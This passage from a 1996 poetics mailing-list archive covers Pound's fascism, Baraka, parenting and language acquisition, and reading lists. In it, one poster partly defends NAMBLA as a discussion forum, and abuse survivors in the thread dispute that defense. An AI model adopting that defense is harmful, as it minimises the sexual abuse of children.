Sorry I was a little frothy in that last post. I forgot to mention another problem I have with "getting rid of one's homophobia" because of one great gay person one met. That's: is it not possible you might meet one helluva-guy fascist or Nazi? How do we want to decide what we believe?

~~~
~~~

empowering all individuals... which i think means opposing the ability of people with more power from using that position for their own benefit at the expense of those with less power. despite their rhetoric, i don't believe that is the agenda of NAMBLA.

but to address ron's original question; as a survivor of abuse, one of the things i do is to speak up when folks would ignore or whitewash the kinds of situations that have caused me so much pain. just as various have vehemently reminded me of the pain that pound caused, & still cause. i'll continue to read pound for what i find of use, but i appreciate the reminders here that his work is compromised--for that matter, i'll still read ginsberg; but i won't pretend his NAMBLA shit means anything more than he'd like to sleep with young guys.

sincere
luigi

↑ Index

345. Chris Stroffolino
Re: Baraka again
Sat 16 Mar 1996

Dear Aldon-- You're right. I overstated the case about the reasons Baraka went to jail. Further, yes Baraka did ANALYZE HIMSELF IN A SERIES OF ESSAYS ABOUT HIS INVOLVEMENT in Black Nationalism. But to me--I still love reading the stuff from the period. My only regret is that certain anthologies don't publish stuff AFTER that period--and give the distorted view of a two phased Baraka. The dead lecturer somewhat white assimilati- onist Jones (learning the language of the enemy to some extent so he could curse in it?--or at least get famous in white circles, a la the early FANON--and there may be a psychological need for this as well, a genuine love in the early years of Olson/Creeley/O'Hara who influenced that work) and then the BLACK NATIONALIST. Yet, since I am interested in Baraka's whole OUEVRE (sic?), I think we can't simply dismiss even (scratch even) this phase as nothing but negative. The separatism, like Malcolm X's, WAS heroic, and perhaps a necessary phase. Granted, it's easy to say this in retrospect (and may have been harder to accept at the time--if I may strain an analogy here, just as NASHVILLE SKYLINE alienated alot of Dylan's fans at the time, but later listeners see it as part of the overall sense of Dylan)--Yet, part of this very much has to do with CLEARING A SPACE FOR ONESELF.... you know? the whole Blake "I must create my own...or be enslaved by another's" and in such a creation often EXTREME postures are needed. The struggle against anti-semitism, homophobia, racism, classism, sexism (did i leave anything out?) can not be enforced. I certainly would appreciate it if anybody calls me on

what may be perceived as any kind of hate politics. But the absence of hate is not enough, and the FEAR of being seen as sexist, racist, etc, may be a problem to address. I'll offer two examples: One of them reminds me of the POMO thread. While teaching a class of mostly black students, one student told me how she finds a certain kind of racism in the pious use of the term "african american" by so many whites. Now, this is a thorny issue--and the fact that I generally say BLACK does not make me immune...but this reminded me of a time I saw Angela Davis at Smith College lecture about how Northeast liberals (as I think she categorized them) are in some ways worse than the BLATANT racism of the southeners. At least they, she said, can look us in the eye...and deal with us on a day to day level as people. There's an irony here I, Chris Stroffolino, am only scratching the surface of. But it's something to think about. The other point is a story I love to tell in private.... It revolves around a reading I did years ago with a prominent male Language poet. I read a poem called BLACKBURNIANA in the midst of my more "abstract" pieces. In this poem, like Blackburn, I wrote of watching admiringly women's physical appearance in NYC---knowing damn well I ran the risk of being called sexist, but feeling HEMMED IN and needing to simply let it out. Well, the male poet came out and called it, and Paul Blackburn, sexist. Luckily, a famous woman avant-gardist/academic (who generally was unsupportive of my work), came to my defense..... The point is these questions are very complex.... and that anger (even if simply WRONG and misdirected) may be better than this unspoken, hidden, bottled up fear that often passes for enlightenment. --at least as a phase. Chris Stroffolino "a sin that is mortal in a master is venial in a slave"--- P.B. Shelley

↑ Index

346. Christopher Filkins

Re: let's NOT talk about fascists, but ourselves

Sat 16 Mar 1996

Emily,

> *One thing I'd like to get rid of (along with those gender pronouns) is "Mom" and "Dad" as opposed to first names.*

This is a fascinating subject you raise and I must say it is not as simple as you specify. Our daughter spent the first few months of her life _very_ isolated in that we did not go out very often. We had very few visitors. My wife and I call each other by our first names. Yet she came up with sounds like "ma" & "da" seemingly out of the blue by the time she was six months old. I at one time felt exactly like you describe above concerning "Mom" & "Dad". My daughter however has changed my mind.

When discussing this topic with some friends who happen to be linguists I was informed that the "m", "a", & "d" sounds are among the first articulations which english speakers make. While it is true that there are no doubt many spoken & unspoken clues which we gave our daughter concerning the validity of "ma" & "da" (i must admit it thrilled me to no end the first time she said "da") the current theories hold that she is predisposed because of being surrounded by english speakers to come up with those sounds. Every language has its own primary dispositions towards sounds. Those which have much in common, i.e. english, russian, spanish, for instance are likely to have similar predispositions, which they do. While those with different roots, such as swahili, hauza (sp), etc are likely to have other primary sound dispositions, which they do. This of course might all be bullshit, but my personal experience bears this out.

Our daughter calls us by a number of names - our first names (although she hasn't quite mastered mine yet), nani, mom, mommy, dad, daddy, ma, da, you, hey, the list goes on & we have been extremely contientious about not imposing any preferences on her.

There are a whole host of things in the world of language i disagreed with vehemently before she came along. And most of those she has blown out of the water and made me completely rethink. I owe her alot for the this education.

Nothing is so simple as just getting rid of "mom" or "dad" or gender pronouns. The situation is far more complex.

Some questions:

What determines the predisposition towards sounds, if it were purely the shape of the mouth etc. would the first sounds in english still be "m", "d", & "a"? What social aspects of language impinge on this choice of first sounds?

Why does english have gender pronouns in the way it does? How do other languages deal with this subject and why is there a difference?

After talking with my linguist friends i can certainly understand why language aquisition is such a hot topic in linguistics. It has got to be one of the most fascinating things to participate in and observe. It's especially relevent to me as a writer because this is how i define poetry for me - i am attempting to aquire a language.

christopher

In the undergrowth
There dwells a Bloath
Who feeds upon poets and tea.

Luckily, I know this about him
While he knows almost nothing of me!

- Shel Silverstein

↑ Index

347. Emily Lloyd
dadaists & mamaists
Sat 16 Mar 1996

Christopher F--that's *really* interesting, about "da" "ma" & your daughter. I had no idea that these sounds were the easiest for kids to make first...I guess I always thought kids acquired them with their parents standing over the crib going, "I'm your dada; I'm your mama." You're right, the issue is more complex than I made it. I was thinking of when I first heard people call my mother "Sharon" on the telephone, how that was an almost shocking event for me...how calling parents by their first names reminds one of their relationships to others besides you. 'Course, one can be(come) aware of these and still call one's mother "Mom" (which I do when I'm talking to mine--for some reason her first name coming from me offends her--shows a "lack of respect" she thinks, which is odd to me: I think it shows more). I'm curious, though---did your daughter automatically call you "da" and her mother "ma"? You say you lit up when she first said "da"--was it clearly a reference to you? Did she call other people, or things, "da"? e

~~~
~~~

month to two months, settled into the usual "ma" & "da". Of course by that time she was begining to close the sound by appending the "d" & "m".

When i refer to lighting up i am referring to when she had settled into this pattern and i could see in her face that she knew she was using the word to refer to me and she knew that i would respond to it as if named.

Of course i realize that we as parents must have given her all sorts of preverbal clues etc. to teach her mom & dad. I'm afraid i would be dishonest if i denied our participation. My only point is that it is such a complex process that it is impossible to declare "mom" or "dad" off limits without going against what seems like a liguistic tendency.

christopher

I'm curious, though---did your daughter automatically call you "da" and her
>mother "ma"? You say you lit up when she first said "da"--was it clearly a
>reference to you? Did she call other people, or things, "da"? e
>
>
>~~~

to the refrigerator, the dishwasher, the cabinets,
and the table. He said "Jordan", pointed to the
dishwasher, then walked up to it and bit it.

Jordan

↑ Index

350. chris daniels
Re: Baraka again
Sat 16 Mar 1996

---

james perez wrote:

> *Anything can be twisted into a "bad" thing by the right person. That just takes the same amount of creativity pointed in a direction that is very human, but that we like to think is inhuman (I'm human, he's not, therefore I am not like him...now I feel better).*

one seder i attended horrified me. the father of the family, a recent convert to hassidism, catechized his seven-year-old son in the following manner:

q: "now, xxx, what is traife?"

a: "traife is what dogs eat, daddy."

q: "what are gentiles, son?"

a: "gentiles are people who eat traifes."

i said nothing, and have always regretted not getting up and storming out of the house.

--- chris
---
christopher daniels <[redacted]> 3.16.96 4:25:40 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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351. chris daniels
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

> *yes, chris daniels to DISARM the little fascist in us all*
> *is TO LET HIM (gender?) OUT, not to keep it bottled up....*

yes, chris stroffolino, to let IT (thanks for that!) into the open where it can be seen for what it is --- the product of encoded fear and superstition.

---

christopher daniels <[redacted]> 3.16.96 4:34:05 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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352. chris daniels
Re: p.s. other
Sat 16 Mar 1996

Sorry I was a little frothy in that last post. I forgot to mention another problem I have with "getting rid of one's homophobia" because of one great gay person one met. That's: is it not possible you might meet one helluva-guy fascist or Nazi? How do we want to decide what we believe?

emily ---

not only is it possible, it is entirely probable. charm is not dependent on politics.

i'm not suggesting that my friend ted "cured me of homophobia." what did happen is that my knowing him allowed me slowly begin my transcendence of the fear i felt abt homosexuals --- i had very good reason to fear them --- i had been raped. nothing's instant: there's no sudden acceptance; it's a long process which i don't think shld ever end.

i believe that causing another human being to feel pain is undesirable (if unavoidable at times). that's my yardstick for deciding what to believe. sometimes i think the only thing worth believing in is Compassion.

chris
---
christopher daniels <[redacted]> 3.16.96 4:50:57 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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353. **chris daniels**
Re: let's NOT talk about fascists, but ourselves
Sat 16 Mar 1996

---

i gotta say i'm w/ luigi-bob on the NAMBLA thing.
i may be totally wrong-headed abt this, but to judge
from my entire 40 years of experience, an adult can get
a kid to do nearly anything, given the right circumstances.
i've not responded to emily's post til now because i cldn't
see past my own history of being abused and didn't want
to lash out. i don't feel hatred towards the NAMBLAites,
i just don't think they're being very honest, and have
constructed a VERY SEDUCTIVE MASK for themselves when they
say that they are seeking to empower children (not young
adults, children). i agree entirely that children need to be
allowed the exact same freedom of choice/thought etc as
adults, but a 12-year-old kid is simply not the same as a
19-year-old kid. lowering the age of consent is not the
issue here, i don't think. neither is the empowerment of
chldren. what is at issue is a child's right to live and
grow AS A CHILD among adults. i mean there's a limit ...

chris
---
christopher daniels <[redacted]> 3.16.96 4:37:40 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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354. **Emily Lloyd**
Re: NAMBLA
Sat 16 Mar 1996

At 05:14 PM 3/16/96 PST, chris daniels wrote:
>i may be totally wrong-headed abt this, but to judge
>from my entire 40 years of experience, an adult can get
>a kid to do nearly anything, given the right circumstances.

An adult can get an *adult* to do nearly anything, given the right circumstances.

It seems to me that being raped should make one resent/fear rapists/a rape culture, not gay men black men white men latino men asian men, or, in my case, policemen.

I never meant to downplay the fact that yes, NAMBLA members are men who want to sleep with boys. "Sweet boy, gimme yr ass," etc. I stand by my defense, though. Note, they have created an organization/forum in which to discuss this (cross-generational sex). Why create such a thing if all you're really concerned with is lurking in bathrooms near boy scout meetings? I ask semi-rhetorically; I'm not really sure any of us could benefit from further discussion of NAMBLA.

So hows about them poems/Mets?

~~~
~~~

But come to think about it I think Station Hill might
qualify as the press with the most ghost books.

Juliana Spahr

> *Don't know if these would count, but*
>
> *I recall seeing Thomas Pynchon's VINELAND listed in a prepublication*
> **Books in Print* as *Vineland, Volume 1*."
>
> *And wasn't Pynchon supposed to be writing a Civil War novel?*
>
> *Cheers,*
> *David*
> *~~~

357. **Charles Alexander**
Re: dadaists & mamaists
Sat 16 Mar 1996

Thanks to Emily for getting the discussion on children going, and to Christopher for pointing out that saying "ma" and "da" is a rather complex affair involving general tendencies of speakers of English, nonverbal clues by parents, etc.

But I would also like to say that parenting in general is quite complex. As a father of two girls (6 & 2 years old) so far I haven't ever said "because I'm your father," but in fact there have been several times where if I hadn't exerted parental authority of one kind or another, a child would have been hurt physically or otherwise, or done something to hurt another. In some ways an adult's actions are better informed than a child's, of that age, anyway -- which is not to imply a disrespect for the child's opinions, imagination, or intellect. I also have learned many things from my children.

But we don't live on a commune, and children pick up much from various places. Up to age one or so I read them Gertrude Stein and Jackson Mac Low and Chaucer and a lot of other things they couldn't read to themselves. But after a while they would rather hear Frog & Toad, or other books they found out about in various ways. And while I have had conversations where the 6 year old has expressed political ideas, I also think it's perfectly fine for her not to be expected to do so. In some ways the world inhabited by children in school and pre-school makes them aware of politics in complex ways daily, probably moreso than many adults in the world/words in which they circulate daily. We don't need to encourage "childish"-ness, nor do we need to encourage growing up before one's time. And what does that mean? It probably differs with every child. We never gave our children certain kinds of dolls (Barbies being one of them) for a long time, but grandparents and others did, and in some ways I think it's important for them to know about such things in the world. We decided banning such things was not the point, rather letting our children make their own decisions about them, and talking with them, was the point.

Being a parent makes one confront one's abilities and one's limitations every day, usually several times a day. I would consider it absolutely cowardly to deny one's duty to be a parent -- but I do consider it necessary to constantly redefine what that means.

charles

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358. **Charles Alexander**

Re: avant-garde

Sat 16 Mar 1996

> *re charles alexander's comment abt mei-mei, that someone called her work "anti-academic." typical minnesota. esp if it was someone from my department. they know i teach her, they think that i'm a yahoo, hence, rather than listening to her poetry, they say something that proves their inability to listen. humph! charles, tell me more about that event; it's one of those i wish i could've been there for.--maria d*

The first event of a 4-day residency (March 6 - 10) in the Twin Cities by Myung Mi Kim & Mei-mei Berssenbrugge was a "fireside chat" by the poets at Asian American Renaissance (ably directed by Valerie Lee, who with me first conceived of this residency). Perhaps the primary difficulty of the residency was present there as well as at the other events, just that there were clearly very few people at these events who knew the writers' work at all, therefore a need to introduce it. Thus both Myung & Mei-mei read a bit, Myung even from pieces widely separated in time, in order to convey something of poetic growth. The talk was then mostly about senses of space in the work, but this was interpreted in some ways quite differently by each of them. Mei-mei spoke of facing the literal horizon in the desert where she lives, and how this relates to her line, breath, etc. But she also talked about her poem "Chinese Space," and how her poems of China are half what others told her (she left Beijing, where she was born, at 1 year old), half made up by her, but that her philosophical sensibilities, she feels, are very informed by Chinese ideas. When Myung spoke there was more of a sense of a conceptual space, but one which she described as a body, but always a body with fissures, disjunctiveness. Mei-mei spoke of her commitment, at 21 years old or so, which has served her for nearly 30 years, of writing in sentences and of her writing being "beautiful," a commitment to beauty, as she put it. Myung had more of a sense of wanting to disrupt whatever beauty may be possible. (and my memory may be putting words in both their mouths) One gained a sense of both of their relationships to their Asian heritage, and to the English/American language, and of how both of those relationships have a role in both their subject and the forms present and created in their work. Myung was 9 years old when she left Korea.

The following day I led the first hour of a workshop with them at the University of Minnesota Creative Writing program. I displayed books and spoke of developing a sense of physical space from their work, of literally trying to make the spaciality created by their work into a physical form, or, perhaps more accurately, to find corresponding forms in type, book structure, paper, etc. Mei-mei

wondered if I was thereby destroying the "illusional" space. But no, it's more like giving it some kind of physical dimension, perhaps adding to it, but not in any sense destroying it. It was odd being in this circle of creative writing faculty and students. I made a comment, at the very beginning, about breaking the circle and asking people to get up and go to where books were displayed (including one book by Mei-Mei I made in 1990 which was fully unfolded to be nearly 14 feet long). And absolutely noone got up. I think perhaps I truly transgressed something by breaking that circle, and I realized that I'm entirely unfamiliar with whatever kind of energy exists in a writing workshop class. An hour later, at the end of my part of the workshop, everyone did get up and there was more animation.

I had to leave after that for other commitments and I can't comment on the remainder of the poets' workshop, or its continuation the next day. They also gave a workshop on Saturday March 9 at Asian American Renaissance which I did not attend.

The reading they gave at Minnesota Center for Book Arts on Friday March 8 was marvelous. Mei-mei reads in a persistent, quiet voice, altogether what one might expect from reading her work over the past decade or so. Some sense of space being so linear, yet also so full, barely room to breathe. Myung followed her with a reading which was also strong on the sense of enunciated space, but, as comments earlier in the week had touched on, a space much more divided, uneven. Both readings were powerful.

This is just about the last event which will be held at Minnesota Center for Book Arts which I had anything to do with organizing or envisioning, having left there as director (although still spend a good deal of time there on one book project or another or in teaching) more than 7 months ago now. In that sense it was both very pleasing and a little bit awkward for me, having more sense that the leadership (board) of that organization didn't really know what it had in this residency -- and that I was ready to take that organization to places it just wasn't ready to go. Sorry if this sounds a little too self-satisfied, actually it feels a little sad. But it gave me a new and different glimpse of a place which has meant much to me over the last three years.

But back to Myung & Mei-mei, they had good audiences at each of the events and people seemed genuinely interested in their work. I only wish more such events were occurring in the Twin Cities.

and thanks for asking, maria. I got closer to the U-Minnesota English Department than I ever have before during these events, and I really missed your not being there. I didn't hear anybody call you a yahoo, but if you're willing to ya & hoo (and I know you are), then I think they need more like you.

charles

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359. Ron Silliman
Re: switzerland
Sat 16 Mar 1996

You wrote:
>
>What are you reading these days.
>
>--Jd
>
Charles Borkhuis' Proximity (Stolen Arrows)
Ilya Kutik's Ode on Visiting the Belosaraisk Spit on the Sea of Azov,
trans. by Kit Robinson
Swoon Rocket by Bill Luoma (who can tell me which DC bookstore that
back cover photo was taken in??)

They're all great books. I knew the last two would be because I've been reading/enjoying their work for ages (Kutik as well as Kit and Maz). Borkhuis is a really great new addition to my reading list. There's a bounce in his line that reminds me of the best of John Godfrey or Ted Greenwald or maybe even Tom Raworth, a sense of surrealism that feels lived rather than bookish and a great eye throughout.

What amazes me is that Borkhuis is only a year or so younger than I am and this appears to be his second book or thereabouts. What has he been doing all this time? Is there an archive of material waiting to be released?

Ron Silliman

↑ Index

360. Tenney Nathanson
more on Pound: query for Jerry R.
Sat 16 Mar 1996

> *It is interesting to consider too how the*
> *most telling impact of his work -- the most vital influence -- was precisely*
> *on poets who politically, morally, might have been at the greatest distance*
> *from it. I mean particulary in my generation and beyond. I take it that*
> *this is Pound's legacy also -- in the strange way that these things work.*
>
> *Jerome Rothenberg*

Jerry--

(or anyone!)

any speculations as to why this is so? (that may lead us back into the old, trashed form-and-its-[indeterminate]-politics thread, but perhaps from a usefully oblique angle).

best,

Tenney Nathanson

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361. Rod Smith
Re: switzerland
Sun 17 Mar 1996

Ron, Charles Borkhuis has been involved with theater lo these many years, I believe in all guises-- acting, writing, directing, tho there cld well be a trunk of poetry to be hauled out as well. Don't have more details in terms of what/where the theater. He just read down here w/ Heather Fuller (DC poet to watch for). I'm curious to see this photo on _Swoon Rocket_ -- is it from the C=O=M=P=U=T=E=R=L=A=N=D reading? Re J's what are you reading?-- well into Ralph Maud's _Charles Olson's Reading: A Biography_ -- it's so thorough it's quite mad & therefore very satisfying. Now we need a bio of Zorn via his record collection. Also looking at Leslie Scalapino's _The Front Matter, Dead Souls_, always her work it's fine. Also new Blackwell book _Rethinking CLR James_ includes Stuart Hall interview w/ James & good piece by Andrew Ross. & spent some time in Areas/Lights/Heights, there's simply noone at all like him. Anyone seen this rumored new Roof Books Raworth Selected since '84, want it want it. Also I have to admit I've spent a bit of time with new Rod Smith _In Memory of My Theories_ which arrived yesterday in blue & in gray.

--R

You wrote:
>
>What are you reading these days.
>
>--Jd
>
Charles Borkhuis' Proximity (Stolen Arrows)
Ilya Kutik's Ode on Visiting the Belosaraisk Spit on the Sea of Azov,
trans. by Kit Robinson
Swoon Rocket by Bill Luoma (who can tell me which DC bookstore that
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They're all great books. I knew the last two would be because I've been reading/enjoying their work for ages (Kutik as well as Kit and Maz). Borkhuis is a really great new addition to my reading list. There's a bounce in his line that reminds me of the best of John Godfrey or Ted Greenwald or maybe even Tom Raworth, a sense of surrealism that feels lived rather than bookish and a great eye throughout.

What amazes me is that Borkhuis is only a year or so younger than I am and this appears to be his second book or thereabouts. What has he been doing all this time? Is there an archive of material waiting to be released?

Ron Silliman

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362. chris daniels
FW: Re: NAMBLA
Sun 17 Mar 1996

--- On Sat, 16 Mar 1996 21:16:48 -0500 Emily Lloyd <[redacted]> wrote:

>At 05:14 PM 3/16/96 PST, chris daniels wrote:
>>i may be totally wrong-headed abt this, but to judge
>>from my entire 40 years of experience, an adult can get
>>a kid to do nearly anything, given the right circumstances.
>
>An adult can get an *adult* to do nearly anything, given the right
>circumstances.
>
>It seems to me that being raped should make one resent/fear rapists/a rape
>culture, not gay men black men white men latino men asian men, or, in my
>case, policemen.
>
>I never meant to downplay the fact that yes, NAMBLA members are men who
want
>to sleep with boys. "Sweet boy, gimme yr ass," etc. I stand by my defense,
>though. Note, they have created an organization/forum in which to discuss
>this (cross-generational sex). Why create such a thing if all you're
really
>concerned with is lurking in bathrooms near boy scout meetings? I ask
>semi-rhetorically; I'm not really sure any of us could benefit from further
>discussion of NAMBLA.

emily ---

this is extremely inflammatory important stuff --- i'd like to wait on it a bit because right now i couldn't be reasonable. i agree w/ you and disagree w/ you everywhere above. i want very much to get back to you on this, but will take the time to think it all through, sort it out.

later ---

chris

> *So hows about them poems/Mets?*
>
> *~~~

364. **Peter Jaeger**
Re: Nourbese Philip
Sun 17 Mar 1996

On Sat, 16 Mar 1996, Paul Naylor wrote:

She Tries Her Tongue, Her Silence Softly Breaks (Ragweed,
> 1989), which won the Casa de las Americas Prize in 1988, is her best work, and
> there is one poem in particular that engages Pound directly. It's in a series
> called "The Question of Language is the Answer to Power" (which was also
> published in _Hambone #8). Here's an excerpt:
>
> word it off
> speech it off
> word in my word
> word in your word
> I going word my word
> begin
> the in of beginning _OO as in how did they 'lose' a language._
> empires _oo as in 'look' at the spook
> erect with the new
> "Make it new"
> he said
> "Make it new"
> floundering in the old
>
>

Paul: this is an appropriate quotation. It seems to me that there's a good deal of tension between Nourbese Philip's legitimation of what she calls the autonomous "i-mage," or "irreducible essence" of writing as something other than the word, and her simultaneous legit. of subjectivity as a construction of language. Her theory (published in the intro to _She Tries Her Tongue_) is metaphysical to the extent that it affirms presence, the author as magical source of the poem, yet it simultaneously affirms language as the site for subjectivity, the absent author. Instead of a rigid binary between text and essence, she presents both text and essence--two seemingly paradoxical positions that are evoked but left in suspension. This tension is played out in her writing, and to my mind it moves her poetry away from the type of culturally assimilated models of diversity criticised by Charles Bernstein (I see grandma on the hill / next to the memories I can never recapture).

Peter Jaeger

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365. **Joe Amato**
voting on a new usenet group...
Sun 17 Mar 1996

---

all: this is from another list, sans original headers... i thought it might be appropriate to post here on poetics... i've decided, with some hesitation, to vote 'no'... my hesitation owing only to my concerns about first amendment issues---BUT voting is established practice for creating usenet groups... ergo the internet decides for itself on the basis of appeal to democratic (voting) practices, w/o intervention in the form of censorship... this touches on the question of how best to deal with fascism etc...

anyway...

joe

> *A group of neo-nazis are trying to get a new Usenet Newsgroup set-up so they can get their message of hate out to young people using the Internet. EACH OF YOU HAS ONE VOTE when it comes to creating a new Usenet group (all you need is an e-mail account to vote).*
> *We have nearly 1500 members in our group. We can send an effective message by all voting NO.*
> *Do _not_ vote twice - that would constitute voting fraud.*
> *Votes must be received by 23:59:59 UTC, 18 Mar 1996.*
>
> *HOW TO VOTE:*
> *----------*
>
> *Send E-MAIL (posts to a newsgroup are invalid) to:*
>
> [redacted]
>
> *This is an impartial, third-party vote taker.*
> *Just replying to this message will NOT work.*
> *Check the address before you mail your vote. Your mail message should contain one and only one of the following vote statements:*
>
> *I vote YES on rec.music.white-power*
> *I vote NO on rec.music.white-power*
>
> *I REALLY HOPE YOU VOTE NO!*
>
> *If your mail software does not indicate your real name, please also include the following statement and add your name (on the same line).*
>
> *Voter name:*

> *Vote counting is automated. Failure to follow these directions may mean that your vote does not get counted. If you do not receive an acknowledgment of your vote within three days contact the votetaker about the problem. It's your responsibility to make sure your vote is registered correctly.*
>
> *If you would like more detailed information on why you should vote no, check out http://nizkor.almanac.bc.ca on the World Wide Web, or contact Ken McVay,* [redacted]
>
> > *This message is not meant to represent an official usenet Call for Votes. An official copy of the Call for Votes can be found in news.groups on Usenet.*
> > *Thank you, Avi*
>
> *---------- Forwarded Message ends here ----------*

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366. **Tony Green**
Re: avant-garde
Sun 17 Mar 1996

---

one more word: AMBITIOUS
Greenberg uses it: "AMBITIOUS PAIN TING"
Title:" 3 AMBITIOUS POETS AT THE MILLENNIUM"

Tony Green,
e-mail: [redacted]

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367. **Tony Green**
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

> At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:
>
> >What I suggest is -- just bury the guy and forget about him, alongside his "genius mates" Hitler and Mussolini.

> Steve Carll answered:
> It would be nice if things were this simple, wouldn't it?
>
> Hi!
It could be that simple if we make it so. One of the methods I've used is just refuse to teach him to my students, and have stopped reading him

a long time ago. From my point of view and that of many of my colleagues and students, as well as poets\critics around the world - Ezra Pound has already been buried alongside his "genius" friends, Hitler and Mussolini. Please don't resurrect him! He's dangerous to our world! Let's read Wilfred Owen instead, perhaps we would bring our world one inch closer to the world beyond war he dreamed about.

Ada Aharoni

Yeah, let's meet Fascism with Moral Censorship. Slit some throats, shed some blood. Yeah.

Tony Green,
e-mail: [redacted]

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368. Gabrielle Welford
Re: Bury Fascist Ezra Pound
Sun 17 Mar 1996

Has anyone on the list read Wilhelm Reich? He was dealing with exactly these things. He was and still is very controversial--I think the only American to have his books burned by the government. The most radical activist can be a fascist to the kids at home. Where does it start? Gab.

On Fri, 15 Mar 1996, chris daniels wrote:

> *but, ada, fascism didn't just suddenly spring into existence because of the minds of the "geniuses" you'd like to eradicate --- didn't stalin and mao love to rewrite history? --- it was and is a product of several thousand years of human history. don't you think it wld be better to try to undertsand why fascism exists instead of sweeping it under the carpet where it can fester and erupt again? the more we look at fascism, the more we expose it, the less of a chance it has of gripping our lives. bt we can not simply point a finger and accuse: we have to do our best to understand, even if that understanding may be very painful. because ultimately don't we have to examine our very souls for the seeds of fascism?*
>
> *yrs ---*
>
> *chris*
>
> *----------*
> *christopher daniels <[redacted]> 3.16.96 12:07:56 am*
>
> *q: "how can you be revolutionary when 20 years ago they said anything goes?"*
> *--- charles wourinen (?)*

> *a: "free yr mind and yr ass will follow."*
>
> *--- george clinton*
>
> *snail: 1474b 7th st berkeley ca 94710 usa*
> *voice: [redacted]*
> *http://users.lanminds.com/~kunos/ (constructing)*

↑ Index

369. **Charles Bernstein**

Pound & Man at Yale

Sun 17 Mar 1996

I wrote a follow-up piece to "Pounding Fascism" (which is in _A Poetics_) called "Pound and the Poetry of Today". It was published in _The Yale Review_ in 1986 (I don't have the exact citation handy). The speech was originally presented at the Pound Centennial at Yale: an occasion at which at I was made to feel (and no doubt also made myself feel) very unwelcome. I was just about the youngest person invited to speak, and the the only Jewish one; it didn't seem a coincidence that I was also the only person to raise the question of Pound's fascism at this occasion. The spirit of the supposedly academic event was set by the Pound's daughter asking us to observe several minutes of silence in honor of the anniversary of her father's death, which coincided with the Yale event. In keeping with this reverential spirit, the tone of the event was solemn and studiously respectful. In contrast, my speech would have seemed boisterous and structurally irreverant; though insofar as this was so it was was oddly more in the mood of the putative subject. While I was excluded from some of the social occasions set up for the participants (for example the lunch just before my talk), I was invited to a formal dinner at one of those Yale halls filled with dusty oil paintings of important Yale men (fortunately, Susan Howe, who was living in nearby Guilford, came to the dinner with me). This was the sort of occasion where you'd hear people murmuring to one another, "you know, despite it all, maybe Pound was right about social credit" (and maybe some other things too). Creepy. The Yale Review had written to me saying they wanted to publish works from the proceedings. After the event, at which it was made clear to me that I should not have spoken the way I did (not a new problem for me however), I wasn't surprised that Yale Review turned the piece down. While they may have had other reasons to reject it, since it was advocating an approach to poetry antipathetic to their aesthetic agenda, I couldn't help but interpret it as an extension of the reception I had gotten at the centennial. I made my views known to them and they reluctantly relented, agreeing to publish the work not

as an article, but as "commentary" which meant the back of the ... book and in a smaller point size.

After insisting on the necessity and value of reading Pound in terms of his fascism, my speech begins with a discussion of Jerome Rothenberg's anthologies as a counter to the Core Curriculum mania (then in full swing), which I suggest is a logical extension of Pound's ideas of master texts. (Here I distinguish between Pound's "panculturalism" and "decentered multiculturalism".) I go on to differentiate Pound's desire for "montage" (the use of contrasting images toward the goal of one unifying theme) from his practice of "collage" (the use of different textual elements without recourse to an overall unifying idea). The piece ends with a discussion of Jackson Mac Low's great book _Words nd ends from Ez_, which it still seems to me is a fundamental resource for any consideration of Pound.

↑ Index

370. Gabrielle Welford
Re: let's NOT talk about fascists, but ourselves
Sun 17 Mar 1996

On Sat, 16 Mar 1996, Joe Amato wrote:

> and yeah, we each have that little jack-boot fascist inside someplace...
> mebbe the point is finding ways not to let him out...
>
> joe
>

Or maybe ways to let Hir out in a setting where s/he can't do any to the world damage. Maybe damage to some pillows or something. Somehow, stopping up the pipeline always seems to lead to an explosion down the line. Gab.

↑ Index

371. Gabrielle Welford
kids without godparents
Sun 17 Mar 1996

I agree with all you say eryque about raising kids as much as possible as equals. What I would say though, is that we stand a much better chance of achieving this in some sort of communal, village, extended family, whatever setting than in a nuclear family. In a nf, everyone is pretty much forced together, whatever mood they're in, however tired they are, ill, overwhelmed. Kids need lots and lots of people they can go to, lots of different views on the world, people who can listen when their parents are done in or being jerks. I had tremendous

good intentions (as I'm sure all parents have) when I began this parenting, but I've had to lower my perfection quota being in a nf (where was that commune, anyway? that's much how I'd prefer to do things). I recognize in myself daily this potential and sometimes actual fascist. Yuk. Gab.

↑ Index

372. chris daniels
Re: switzerland
Sun 17 Mar 1996

---

heidegger: being & time II.1
jean amery: at the mind's limits
PAUL CELAN
grimal's history of ancient egypt
bob brown: 1450-1950

heidegger is, well, heidegger. it's the older translation.

jean amery was a viennese jew --- studied philosophy --- survived gestapo torture and then auschwitz --- he and primo levi were in (sometimes not so) slight contention

i'm obsessed w/ paul celan these days. i've been familiar w/ his work for quite some time, but joris' BREATHTURN knocks me out

thanks ron silliman for reminding me to read bob brown's glorious book once again!

---
christopher daniels <[redacted]> 3.17.96 11:27:27 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

373. chris daniels
Re: Pound & Man at Yale
Sun 17 Mar 1996

---

charles (or anybody) ---

is mac low's book still in print?

---
christopher daniels <[redacted]> 3.17.96 11:49:18 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

